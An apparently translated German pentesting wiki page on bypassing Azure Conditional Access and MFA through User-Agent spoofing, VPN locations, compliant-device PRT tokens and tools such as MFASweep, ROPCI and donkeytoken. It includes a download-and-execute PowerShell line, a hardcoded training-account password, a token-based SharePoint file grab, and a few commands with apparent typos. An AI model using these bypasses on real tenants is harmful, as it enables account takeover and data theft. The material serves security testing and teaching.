Az - Conditional Access Policies & MFA Bypass

Reading time: 10 minutes

Grundlegende Informationen

Azure Conditional Access-Richtlinien sind Regeln, die in Microsoft Azure eingerichtet sind, um Zugriffskontrollen für Azure-Dienste und -Anwendungen basierend auf bestimmten Bedingungen durchzusetzen. Diese Richtlinien helfen Organisationen, ihre Ressourcen zu sichern, indem sie die richtigen Zugriffskontrollen unter den richtigen Umständen anwenden.
Conditional Access-Richtlinien definieren im Grunde Wer auf Was von Wo und Wie zugreifen kann.

Hier sind ein paar Beispiele:

1. Anmelderisiko-Richtlinie: Diese Richtlinie könnte so eingestellt werden, dass sie eine Multi-Faktor-Authentifizierung (MFA) erfordert, wenn ein Anmelderisiko erkannt wird. Zum Beispiel, wenn das Anmeldeverhalten eines Benutzers im Vergleich zu seinem regulären Muster ungewöhnlich ist, wie z.B. das Anmelden aus einem anderen Land, kann das System zur zusätzlichen Authentifizierung auffordern.
2. Geräte-Compliance-Richtlinie: Diese Richtlinie kann den Zugriff auf Azure-Dienste nur auf Geräte beschränken, die den Sicherheitsstandards der Organisation entsprechen. Zum Beispiel könnte der Zugriff nur von Geräten erlaubt werden, die über aktuelle Antivirensoftware verfügen oder eine bestimmte Version des Betriebssystems ausführen.

Aufzählung

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Conditional Access Policies Bypasses

Es ist möglich, dass eine bedingte Zugriffsrichtlinie einige Informationen überprüft, die leicht manipuliert werden können, was eine Umgehung der Richtlinie ermöglicht. Und wenn beispielsweise die Richtlinie MFA konfiguriert hat, kann der Angreifer diese umgehen.

Bei der Konfiguration einer bedingten Zugriffsrichtlinie ist es erforderlich, die betroffenen Benutzer und Zielressourcen (wie alle Cloud-Apps) anzugeben.

Es ist auch notwendig, die Bedingungen zu konfigurieren, die die Richtlinie auslösen:

• Netzwerk: IP, IP-Bereiche und geografische Standorte
• Kann umgangen werden, indem man sich über ein VPN oder Proxy mit einem Land verbindet oder es schafft, sich von einer erlaubten IP-Adresse anzumelden
• Microsoft-Risiken: Benutzer-Risiko, Anmelde-Risiko, Insider-Risiko
• Geräteplattformen: Jedes Gerät oder Auswahl von Android, iOS, Windows Phone, Windows, macOS, Linux
• Wenn „Jedes Gerät“ nicht ausgewählt ist, aber alle anderen Optionen ausgewählt sind, ist es möglich, dies mit einem zufälligen User-Agent, der nicht mit diesen Plattformen in Verbindung steht, zu umgehen
• Client-Apps: Optionen sind „Browser“, „Mobile Apps und Desktop-Clients“, „Exchange ActiveSync-Clients“ und „Andere Clients“
• Um die Anmeldung mit einer nicht ausgewählten Option zu umgehen
• Filter für Geräte: Es ist möglich, eine Regel in Bezug auf das verwendete Gerät zu erstellen
• Authentifizierungsflüsse: Optionen sind „Gerätescodefluss“ und „Authentifizierungsübertragung“
• Dies wird einen Angreifer nicht betreffen, es sei denn, er versucht, einen dieser Protokolle in einem Phishing-Versuch zu missbrauchen, um auf das Konto des Opfers zuzugreifen

Die möglichen Ergebnisse sind: Zugriff blockieren oder gewähren mit potenziellen Bedingungen wie MFA erforderlich, Gerät muss konform sein…

Geräteplattformen - Gerätebedingung

Es ist möglich, eine Bedingung basierend auf der Geräteplattform (Android, iOS, Windows, macOS...) festzulegen, jedoch basiert dies auf dem User-Agent, sodass es leicht zu umgehen ist. Selbst wenn alle Optionen MFA erzwingen, wenn Sie einen User-Agent verwenden, der nicht erkannt wird, können Sie MFA oder die Blockierung umgehen:

Es reicht aus, den Browser einen unbekannten User-Agent (wie Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) senden zu lassen, um diese Bedingung nicht auszulösen.
Sie können den User-Agent manuell in den Entwicklertools ändern:

Oder verwenden Sie eine Browsererweiterung wie diese.

Standorte: Länder, IP-Bereiche - Gerätebedingung

Wenn dies in der bedingten Richtlinie festgelegt ist, könnte ein Angreifer einfach ein VPN im erlaubten Land verwenden oder versuchen, einen Weg zu finden, um von einer erlaubten IP-Adresse aus auf diese Bedingungen zuzugreifen.

Cloud-Apps

Es ist möglich, Bedingte Zugriffsrichtlinien zu konfigurieren, um zu blockieren oder zu erzwingen, beispielsweise MFA, wenn ein Benutzer versucht, auf eine spezifische App zuzugreifen:

Um zu versuchen, diesen Schutz zu umgehen, sollten Sie sehen, ob Sie nur in eine beliebige Anwendung gelangen können.
Das Tool AzureAppsSweep hat Dutzende von Anwendungs-IDs fest codiert und wird versuchen, sich bei ihnen anzumelden und Ihnen Bescheid geben und Ihnen sogar das Token geben, wenn es erfolgreich ist.

Um spezifische Anwendungs-IDs in spezifischen Ressourcen zu testen, könnten Sie auch ein Tool wie folgendes verwenden:

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

Darüber hinaus ist es auch möglich, die Anmeldemethode zu schützen (z. B. wenn Sie versuchen, sich über den Browser oder eine Desktop-Anwendung anzumelden). Das Tool Invoke-MFASweep führt einige Überprüfungen durch, um zu versuchen, diese Schutzmaßnahmen zu umgehen.

Das Tool donkeytoken könnte ebenfalls für ähnliche Zwecke verwendet werden, obwohl es unmaintained aussieht.

Das Tool ROPCI kann ebenfalls verwendet werden, um diese Schutzmaßnahmen zu testen und zu sehen, ob es möglich ist, MFAs oder Sperren zu umgehen, aber dieses Tool funktioniert aus einer whitebox Perspektive. Zuerst müssen Sie die Liste der im Mandanten erlaubten Apps herunterladen und dann wird es versuchen, sich bei ihnen anzumelden.

Andere Az MFA Umgehungen

Klingelton

Eine Azure MFA-Option besteht darin, einen Anruf an die konfigurierte Telefonnummer zu erhalten, bei dem der Benutzer gebeten wird, das Zeichen # zu senden.

Konforme Geräte

Richtlinien verlangen oft ein konformes Gerät oder MFA, sodass ein Angreifer ein konformes Gerät registrieren könnte, ein PRT-Token erhalten und auf diese Weise die MFA umgehen.

Beginnen Sie mit der Registrierung eines konformen Geräts in Intune, dann holen Sie sich das PRT mit:

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Finden Sie weitere Informationen zu dieser Art von Angriff auf der folgenden Seite:

Az - Pass the PRT

Tooling

AzureAppsSweep

Dieses Skript erhält einige Benutzeranmeldeinformationen und überprüft, ob es sich bei einigen Anwendungen anmelden kann.

Dies ist nützlich, um zu sehen, ob Sie kein MFA benötigen, um sich bei einigen Anwendungen anzumelden, die Sie später möglicherweise missbrauchen können, um Privilegien zu eskalieren.

roadrecon

Erhalten Sie alle Richtlinien.

roadrecon plugin policies

Invoke-MFASweep

MFASweep ist ein PowerShell-Skript, das versucht, sich mit einem bereitgestellten Satz von Anmeldeinformationen bei verschiedenen Microsoft-Diensten anzumelden und zu überprüfen, ob MFA aktiviert ist. Je nachdem, wie die bedingten Zugriffsrichtlinien und andere Einstellungen zur Multi-Faktor-Authentifizierung konfiguriert sind, können einige Protokolle als Einzelfaktor verbleiben. Es gibt auch eine zusätzliche Überprüfung der ADFS-Konfigurationen und kann versuchen, sich beim lokalen ADFS-Server anzumelden, wenn dieser erkannt wird.

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

Dieses Tool hat dabei geholfen, MFA-Umgehungen zu identifizieren und dann APIs in mehreren Produktions-AAD-Mandanten auszunutzen, in denen AAD-Kunden glaubten, dass MFA durchgesetzt war, aber die Authentifizierung basierend auf ROPC erfolgreich war.

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token ist eine Sammlung von Funktionen, die Sicherheitsberatern helfen sollen, Conditional Access Policies zu validieren, Tests für 2FA-aktivierte Microsoft-Portale durchzuführen usw.

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Testen Sie jedes Portal, ob es möglich ist, sich ohne MFA anzumelden:

$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Da das Azure Portal nicht eingeschränkt ist, ist es möglich, ein Token vom Portal-Endpunkt zu sammeln, um auf jeden Dienst zuzugreifen, der durch die vorherige Ausführung erkannt wurde. In diesem Fall wurde Sharepoint identifiziert, und ein Token zum Zugriff darauf wird angefordert:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

Angenommen, das Token hat die Berechtigung Sites.Read.All (von Sharepoint), selbst wenn Sie aufgrund von MFA nicht auf Sharepoint über das Web zugreifen können, ist es möglich, das Token zu verwenden, um auf die Dateien mit dem generierten Token zuzugreifen:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Referenzen

• https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s
• https://www.youtube.com/watch?v=xei8lAPitX8